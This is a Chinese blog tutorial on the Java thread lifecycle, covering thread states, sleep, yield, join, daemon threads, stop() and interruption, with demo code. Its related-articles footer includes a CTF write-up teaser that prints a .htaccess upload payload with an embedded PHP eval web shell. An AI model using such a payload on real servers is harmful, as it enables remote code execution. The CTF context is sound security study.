深入学习Java的线程的生命周期

线程的状态/生命周期

五种状态
这是从 操作系统 层面来描述的

在这里插入图片描述

  • 【初始状态】仅是在语言层面创建了线程对象,还未与操作系统线程关联
  • 【可运行状态】(就绪状态)指该线程已经被创建(与操作系统线程关联),可以由 CPU 调度执行
  • 【运行状态】指获取了 CPU 时间片运行中的状态
    当 CPU 时间片用完,会从【运行状态】转换至【可运行状态】,会导致线程的上下文切换
  • 【阻塞状态】
    如果调用了阻塞 API,如 BIO 读写文件,这时该线程实际不会用到 CPU,会导致线程上下文切换,进入【阻塞状态】
    等 BIO 操作完毕,会由操作系统唤醒阻塞的线程,转换至【可运行状态】
    与【可运行状态】的区别是,对【阻塞状态】的线程来说只要它们一直不唤醒,调度器就一直不会考虑调度它们
  • 【终止状态】表示线程已经执行完毕,生命周期已经结束,不会再转换为其它状态

六种状态
这是从 Java API 层面来描述的。

根据 Thread.State 枚举,Java中线程的状态分为6种:

1、初始(NEW):新创建了一个线程对象,但还没有调用start()方法。

2、运行(RUNNABLE):Java线程中将就绪(ready)和运行中(running)两种状态笼统的称为“运行”。

线程对象创建后,其他线程(比如main线程)调用了该对象的start()方法。该状态的线程位于可运行线程池中,等待被线程调度选中,获取CPU的使用权,此时处于就绪状态(ready)。就绪状态的线程在获得CPU时间片后变为运行中状态(running)。

3、阻塞(BLOCKED):表示线程阻塞于锁。

4、等待(WAITING):进入该状态的线程需要等待其他线程做出一些特定动作(通知或中断)。

5、超时等待(TIMED_WAITING):该状态不同于WAITING,它可以在指定的时间后自行返回。

6、终止(TERMINATED):表示该线程已经执行完毕。

状态之间的变迁如下图所示:

在这里插入图片描述

掌握这些状态可以让我们在进行Java程序调优时可以提供很大的帮助。

线程常见方法

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

还有一些不推荐使用的方法,这些方法已过时,容易破坏同步代码块,造成线程死锁。

在这里插入图片描述

sleep与 yield
sleep方法

  • 调用 sleep 会让当前线程从 Running 进入 Timed Waiting 状态(阻塞),不会释放对象锁
  • 其它线程可以使用 interrupt 方法打断正在睡眠的线程,这时 sleep 方法会抛出InterruptedException
  • 睡眠结束后的线程未必会立刻得到执行
  • 建议用 TimeUnit 的 sleep 代替 Thread 的 sleep 来获得更好的可读性
  • sleep当传入参数为0时,和yield相同
Thread t1 = new Thread(new Runnable() {@Overridepublic void run() {try {Thread.sleep(3000);} catch (InterruptedException e) {throw new RuntimeException(e);}log.debug("执行完成");}
},"t1");
t1.start();
log.debug("线程t1的状态:"+t1.getState());
try {Thread.sleep(500);
} catch (InterruptedException e) {throw new RuntimeException(e);
}
log.debug("线程t1的状态:"+t1.getState());
//t1.interrupt();

在没有利用 cpu 来计算时,不要让 while(true) 空转浪费 cpu,这时可以使用 yield 或 sleep 来让出 cpu 的使用权给其他程序。

while(true) {try {Thread.sleep(50);} catch (InterruptedException e) {e.printStackTrace();}
}
  • 可以用 wait 或 条件变量达到类似的效果
  • 不同的是,后两种都需要加锁,并且需要相应的唤醒操作,一般适用于要进行同步的场景
  • sleep 适用于无需锁同步的场景

yield方法

  • yield会释放CPU资源,让当前线程从 Running 进入 Runnable状态,让优先级更高(至少是相同)的线程获得执行机会,不会释放对象锁;
  • 假设当前进程只有main线程,当调用yield之后,main线程会继续运行,因为没有比它优先级更高的线程;
  • 具体的实现依赖于操作系统的任务调度器
  • 比如ConcurrentHashMap#initTable 方法中就使用了yield方法,

这是因为ConcurrentHashMap中可能被多个线程同时初始化table,但是其实这个时候只允许一个线程进行初始化操作,其他的线程就需要被阻塞或等待,但是初始化操作其实很快,这里Doug Lea大师为了避免阻塞或者等待这些操作引发的上下文切换等等开销,就让其他不执行初始化操作的线程干脆执行yield()方法,以让出CPU执行权,让执行初始化操作的线程可以更快的执行完成。

线程的优先级
线程优先级会提示调度器优先调度该线程,但它仅仅是一个提示,调度器可以忽略它。如果 cpu 比较忙,那么优先级高的线程会获得更多的时间片,但 cpu 闲时,优先级几乎没作用。

在Java线程中,通过一个整型成员变量priority来控制优先级,优先级的范围从1~10,在线程构建的时候可以通过setPriority(int)方法来修改优先级,默认优先级是5,优先级高的线程分配时间片的数量要多于优先级低的线程。

设置线程优先级时,针对频繁阻塞(休眠或者I/O操作)的线程需要设置较高优先级,而偏重计算(需要较多CPU时间或者偏运算)的线程则设置较低的优先级,确保处理器不会被独占。在不同的JVM以及操作系统上,线程规划会存在差异,有些操作系统甚至会忽略对线程优先级的设定。

Runnable task1 = () -> {int count = 0;for (;;) {System.out.println("t1---->" + count++);}
};
Runnable task2 = () -> {int count = 0;for (;;) {// Thread.yield();System.out.println("t2---->" + count++);}
};
Thread t1 = new Thread(task1, "t1");
Thread t2 = new Thread(task2, "t2");
// t1.setPriority(Thread.MIN_PRIORITY);
// t2.setPriority(Thread.MAX_PRIORITY);
t1.start();
t2.start();

join方法
等待调用join方法的线程结束之后,程序再继续执行,一般用于等待异步线程执行完结果之后才能继续运行的场景。

为什么需要 join?

下面的代码执行,打印 count 是什么?

private static int count = 0;
public static void main(String[] args) throws InterruptedException {log.debug("开始执行");Thread t1 = new Thread(() -> {log.debug("开始执行");SleepTools.second(1);count = 5;log.debug("执行完成");},"t1");t1.start();log.debug("结果为:{}", count);log.debug("执行完成");
}

输出

19:30:09.614 [main] DEBUG com.tuling.learnjuc.base.ThreadJoinDemo - 开始执行
19:30:09.660 [t1] DEBUG com.tuling.learnjuc.base.ThreadJoinDemo - 开始执行
19:30:09.660 [main] DEBUG com.tuling.learnjuc.base.ThreadJoinDemo - 结果为:0
19:30:09.662 [main] DEBUG com.tuling.learnjuc.base.ThreadJoinDemo - 执行完成
19:30:10.673 [t1] DEBUG com.tuling.learnjuc.base.ThreadJoinDemo - 执行完成

分析

  • 因为主线程和线程 t1 是并行执行的,t1 线程需要 1 秒之后才能算出 count=5
  • 而主线程一开始就要打印 count的结果,所以只能打印出 count=0

解决方法

  • 用 sleep 行不行?为什么?
  • 用 join,加在 t1.start() 之后即可

实现同步
以调用方角度来讲,如果:

  • 需要等待结果返回,才能继续运行就是同步
  • 不需要等待结果返回,就能继续运行就是异步
    在这里插入图片描述
private static int count = 0;
public static void main(String[] args) throws InterruptedException {log.debug("开始执行");Thread t1 = new Thread(() -> {log.debug("开始执行");SleepTools.second(1);count = 5;log.debug("执行完成");},"t1");t1.start();//SleepTools.second(1);t1.join();log.debug("结果为:{}", count);log.debug("执行完成");}   

输出

19:36:05.192 [main] DEBUG com.tuling.learnjuc.base.ThreadJoinDemo - 开始执行
19:36:05.235 [t1] DEBUG com.tuling.learnjuc.base.ThreadJoinDemo - 开始执行
19:36:06.239 [t1] DEBUG com.tuling.learnjuc.base.ThreadJoinDemo - 执行完成
19:36:06.239 [main] DEBUG com.tuling.learnjuc.base.ThreadJoinDemo - 结果为:5
19:36:06.240 [main] DEBUG com.tuling.learnjuc.base.ThreadJoinDemo - 执行完成

面试题
现在有T1、T2、T3三个线程,你怎样保证T2在T1执行完后执行,T3在T2执行完后执行?

可以利用join()方法实现,把指定的线程加入到当前线程,可以将两个交替执行的线程合并为顺序执行。比如在线程T2中调用了线程T1的join()方法,直到线程T1执行完毕后,才会继续执行线程T2剩下的代码。

Thread t1 = new Thread(new Runnable() {@Overridepublic void run() {log.debug("线程t1执行完成");}
},"t1");
Thread t2 = new Thread(new Runnable() {@Overridepublic void run() {try {t1.join();} catch (InterruptedException e) {throw new RuntimeException(e);}log.debug("线程t2执行完成");}
},"t2");
Thread t3 = new Thread(new Runnable() {@Overridepublic void run() {try {t2.join();} catch (InterruptedException e) {throw new RuntimeException(e);}log.debug("线程t3执行完成");}
},"t3");
t1.start();
t2.start();
t3.start();

守护线程
默认情况下,Java 进程需要等待所有线程都运行结束,才会结束。有一种特殊的线程叫做守护线程,只要其它非守护线程运行结束了,即使守护线程的代码没有执行完,也会强制结束。

log.debug("开始运行...");
Thread t1 = new Thread(() -> {log.debug("开始运行...");SleepTools.second(3);log.debug("运行结束...");
}, "t1");
// 设置t1线程为守护线程
t1.setDaemon(true);
t1.start();
SleepTools.second(1);
log.debug("运行结束...");

输出

21:21:58.104 [main] DEBUG com.tuling.learnjuc.base.DaemonThreadDemo - 开始运行...
21:21:58.143 [t1] DEBUG com.tuling.learnjuc.base.DaemonThreadDemo - 开始运行...
21:21:59.158 [main] DEBUG com.tuling.learnjuc.base.DaemonThreadDemo - 运行结束...

守护线程的应用场景

守护线程看起来好像没什么用?但是实际上它的作用很大。

  • 比如在JVM中垃圾回收器就采用了守护线程,如果一个程序中没有任何用户线程,那么就不会产生垃圾,垃圾回收器也就不需要工作了。
  • 在一些中间件的心跳检测、事件监听等涉及定时异步执行的场景中也可以使用守护线程,因为这些都是在后台不断执行的任务,当进程退出时,这些任务也不需要存在,而守护线程可以自动结束自己的生命周期。

从这些实际场景中可以看出,对于一些后台任务,当不希望阻止JVM进程结束时,可以采用守护线程。

线程的终止
线程自然终止
要么是run执行完成了,要么是抛出了一个未处理的异常导致线程提前结束。

面试题: 如何正确终止正在运行的线程?

stop(不要使用)
stop()方法已经被jdk废弃,调用stop方法无论run()中的逻辑是否执行完,都会释放CPU资源,释放锁资源。这会导致线程不安全,因为该方法会导致两个问题:

  • 立即抛出ThreadDeath异常,在run()方法中任何一个执行指令都可能抛出ThreadDeath异常。
  • 会释放当前线程所持有的所有的锁,这种锁的释放是不可控的。

比如:线程A的逻辑是转账(获得锁,1号账户减少100元,2号账户增加100元,释放锁),那线程A刚执行到1号账户减少100元就被调用了stop方法,释放了锁资源,释放了CPU资源。1号账户平白无故少了100元。

public class ThreadStopDemo {private static final Object lock = new Object();private static int account1 = 1000;private static int account2 = 0;public static void main(String[] args)  {Thread threadA = new Thread(new TransferTask(),"threadA");threadA.start();// 等待线程A开始执行SleepTools.ms(50);// 假设在转账过程中,我们强制停止了线程AthreadA.stop();//验证锁是否释放
//        synchronized (lock){
//            System.out.println("主线程加锁成功");
//        }}static class TransferTask implements Runnable {@Overridepublic void run() {synchronized (lock) {try{System.out.println("开始转账...");// 1号账户减少100元account1 -= 100;// 休眠100msSleepTools.ms(50);// 假设在这里线程被stop了,那么2号账户将不会增加,且锁会被异常释放System.out.println("1号账户余额: " + account1);account2 += 100; // 2号账户增加100元System.out.println("2号账户余额: " + account2);System.out.println("转账结束...");}catch (Throwable t){System.out.println("线程A结束执行");t.printStackTrace();}}}}
}

因此,在实际应用中,一定不能使用stop()方法来终止线程,那么如何安全地实现线程的终止呢?

中断机制
安全的中止则是其他线程通过调用某个线程A的interrupt()方法对其进行中断操作, 中断好比其他线程对该线程打了个招呼,“A,你要中断了”,不代表线程A会立即停止自己的工作,同样的A线程完全可以不理会这种中断请求。线程通过检查自身的中断标志位是否被置为true来进行响应,

线程通过方法isInterrupted()来进行判断是否被中断,也可以调用静态方法Thread.interrupted()来进行判断当前线程是否被中断,不过Thread.interrupted()会同时将中断标识位改写为false。

如果一个线程处于了阻塞状态(如线程调用了thread.sleep、thread.join、obj.wait等),则在线程在检查中断标示时如果发现中断标示为true,则会在这些阻塞方法调用处抛出InterruptedException异常,并且在抛出异常后会立即将线程的中断标示位清除,即重新设置为false。

不建议自定义一个取消标志位来中止线程的运行。因为run方法里有阻塞调用时会无法很快检测到取消标志,线程必须从阻塞调用返回后,才会检查这个取消标志。这种情况下,使用中断会更好,因为,

1、一般的阻塞方法,如sleep等本身就支持中断的检查,

2、检查中断位的状态和检查取消标志位没什么区别,用中断位的状态还可以避免声明取消标志位,减少资源的消耗。

注意:处于死锁状态的线程无法被中断

中断正常运行的线程

中断正常运行的线程, 不会清空中断状态

Thread t1 = new Thread(()->{while(true) {Thread current = Thread.currentThread();boolean interrupted = current.isInterrupted();if(interrupted) {log.debug(" 中断状态: {}", interrupted);break;}}
}, "t1");
t1.start();
//中断线程t1
t1.interrupt();
log.debug("中断状态:{}",t1.isInterrupted());

输出

20:45:17.596 [t1] DEBUG com.tuling.learnjuc.base.ThreadInterruptDemo -  中断状态: true
20:45:17.596 [main] DEBUG com.tuling.learnjuc.base.ThreadInterruptDemo - 中断状态:true
中断 sleep,wait,join 的线程

这几个方法都会让线w程进入阻塞状态,中断线程会清空中断状态。以 sleep 为例:

Thread t1 = new Thread(()->{while(true) {try {Thread.sleep(2000);} catch (InterruptedException e) {e.printStackTrace();}}
}, "t1");
t1.start();
Thread.sleep(100);
//中断线程t1
t1.interrupt();
log.debug("中断状态:{}",t1.isInterrupted());

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/8595.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

three.js+WebGL踩坑经验合集(5.2):THREE.Mesh和THREE.Line2在镜像处理上的区别

本文紧接上篇: (5.1):THREE.Line2又一坑:镜像后不见了 本文将解答上篇提到的3个问题,首先回答第二个问题,如何获取全局的缩放值。 scaleWorld这个玩意儿呢,three.js官方就没提供了。应该说,一般的渲染引…

[JMCTF 2021]UploadHub

题目 上传.htaccess就是修改配置文件 <FilesMatch .htaccess> SetHandler application/x-httpd-php Require all granted php_flag engine on </FilesMatch>php_value auto_prepend_file .htaccess #<?php eval($_POST[md]);?>SetHandler和ForceType …

将5分钟安装Thingsboard 脚本升级到 3.9

稍微花了一点时间&#xff0c;将5分钟安装Thingsboard 脚本升级到最新版本 3.9。 [rootlab5 work]# cat one-thingsboard.shell echo "test on RHEL 8.10 " source /work/java/install-java.shell source /work/thingsboard/thingsboard-rpm.shell source /work/po…

在做题中学习(81):替换后的重复字符

解法&#xff1a;同向双指针————>滑动窗口 原因&#xff1a; 题目要求返回一个包含相同字母的最长字串&#xff0c;那就在数组中遍历找到&#xff0c;而又因为在暴力枚举时&#xff0c;会出现重复的情况&#xff0c;例如&#xff1a;在枚举以2为下标的子串时&…

67-《蓝金花》

蓝金花 蓝金花&#xff0c;又名蓝鲸花。是属于玄参科植物&#xff0c;分布于巴西。株高50&#xff5e;90公分&#xff0c;叶对生&#xff0c;长椭圆形&#xff0c;先端锐&#xff0c;细锯齿缘。春至秋季开花&#xff0c;腋生&#xff0c;花冠长管状&#xff0c;花瓣蓝紫色&…

AI 相机软件算法密码

你想过用生活中随手一拍的照片塑造不同风格的自己吗&#xff1f;从古风大片到田园乡村&#xff0c;各种风格随意拿捏&#xff0c;或者从旅游宝地一秒闪回办公地点...... 这些之前存在于头脑中的概念&#xff0c;现在已成为现实走进了我们的生活&#xff01; 【图片来源于网络&…

互联网概述

互联网 是什么 网络与网络之间所串连成的庞大网络&#xff0c;这些网络以一组通用的协议相连&#xff0c;形成逻辑上的单一巨大国际网络。 有什么用 计算机网络&#xff1a;有许多计算机组成&#xff0c;要实现计算机之间的数据传输 数据传输目的地址 保证数据迅速可靠传输…

DAY02 final关键字、static关键字、接口

学习目标 描述final修饰的类的特点//是一个最终类不能被继承,是一个太监类 描述final修饰的方法的特点//是一个最终方法,可以被继承使用,但是不能被重写 描述final修饰的变量的特点//是一个常量,值不能改变局部变量:定义在方法中的变量基本数据类型:值不能改变引用数据类型(数…

Day27-【13003】短文,什么是栈?栈为何用在递归调用中?顺序栈和链式栈是什么?

文章目录 第三章栈和队列总览第一节栈概览栈的定义及其基本操作如何定义栈和栈的操作&#xff1f;合理的出栈序列个数如何计算&#xff1f;栈的两种存储方式及其实现&#xff1f;顺序栈及其实现&#xff0c;还有对应时间复杂度*、清空栈&#xff0c;初始化栈5、栈空&#xff0c…

Python GUI 开发 | PySide6 辅助工具简介

关注这个框架的其他相关笔记&#xff1a;Python GUI 开发 | PySide6 & PyQt6 学习手册-CSDN博客 在上一章中&#xff0c;我们介绍了如何搭建 PySide6 & PyQt6 的开发环境。在搭建环境的时候我们配置了几个几个快捷工具&#xff0c;很多小伙伴可能都不知道是干啥用的。那…

《十七》浏览器基础

浏览器&#xff1a;是安装在电脑里面的一个软件&#xff0c;能够将页面内容渲染出来呈现给用户查看&#xff0c;并让用户与网页进行交互。 常见的主流浏览器&#xff1a; 常见的主流浏览器有&#xff1a;Chrome、Safari、Firefox、Opera、Edge 等。 输入 URL&#xff0c;浏览…

Elasticsearch+kibana安装(简单易上手)

下载ES( Download Elasticsearch | Elastic ) 将ES安装包解压缩 解压后目录如下: 修改ES服务端口&#xff08;可以不修改&#xff09; 启动ES 记住这些内容 验证ES是否启动成功 下载kibana( Download Kibana Free | Get Started Now | Elastic ) 解压后的kibana目…

如何解压7z文件?8种方法(Win/Mac/手机/网页端)

7z 文件是一种高效的压缩文件格式&#xff0c;由 7 - Zip 软件开发者所采用。它运用独特的压缩算法&#xff0c;能显著缩小文件体积&#xff0c;便于存储与传输各类数据&#xff0c;像软件安装包、大型资料集等。但要使用其中内容&#xff0c;就必须解压&#xff0c;因为处于压…

最新-CentOS 7安装1 Panel Linux 服务器运维管理面板

CentOS 7安装1 Panel Linux 服务器运维管理面板 一、前言二、环境要求三、在线安装四、离线安装1.点击下面1 Panel官网链接访问下载&#xff0c;如未登录或注册&#xff0c;请登录/注册后下载2.使用将离线安装包上传至目标终端/tem目录下3.进入到/tem目录下解压离线安装包4.执行…

Linux初识——基本指令(2)

本文将继续从上篇末尾讲起&#xff0c;讲解我们剩下的基本指令 一、剩余的基本指令 1、mv mv指令是move&#xff08;移动&#xff09;的缩写&#xff0c;其功能为&#xff1a;1.剪切文件、目录。2.重命名 先演示下重命名&#xff0c;假设我想把当前目录下的di34改成dir5 那…

特种作业操作之低压电工考试真题

1.下面&#xff08; &#xff09;属于顺磁性材料。 A. 铜 B. 水 C. 空气 答案&#xff1a;C 2.事故照明一般采用&#xff08; &#xff09;。 A. 日光灯 B. 白炽灯 C. 压汞灯 答案&#xff1a;B 3.人体同时接触带电设备或线路中的两相导体时&#xff0c;电流从一相通过人体流…

国产编辑器EverEdit - 目录树

1 目录树 1.1 应用场景 在编辑文档时&#xff0c;一些关联文档可能都存放在相同的目录或者相近的目录&#xff0c;如果可以显示当前文件的目录树&#xff0c;则可以快速的在这些关联文件中切换。 1.2 使用方法 选择菜单查看 -> 停靠窗格 -> 目录树&#xff0c;在目录树…

MiniHack:为强化学习研究提供丰富而复杂的环境

人工智能咨询培训老师叶梓 转载标明出处 想要掌握如何将大模型的力量发挥到极致吗&#xff1f;叶老师带您深入了解 Llama Factory —— 一款革命性的大模型微调工具&#xff08;限时免费&#xff09;。 1小时实战课程&#xff0c;您将学习到如何轻松上手并有效利用 Llama Facto…

SET alter system reload

目录标题 alter system 只是 写 auto 文件SET & alter system1. **会话级别参数&#xff08;Session-level parameters&#xff09;**2. **系统级别参数&#xff08;System-level parameters&#xff09;**3. **某些特定的超级用户参数**4. **修改时生效的参数**总结&#…

苏州东菱振动试验仪器有限公司:振动试验设备行业的领军企业与发展历程

本文地址&#xff1a;http://www.aiqimao.com/zhidao/detail?id37943 苏州东菱振动试验仪器有限公司在振动试验仪器行业享有较高的知名度。公司致力于向众多行业供应优质振动试验设备&#xff0c;并提供专业服务。经过多年努力&#xff0c;该公司在市场上取得了显著成绩。以下…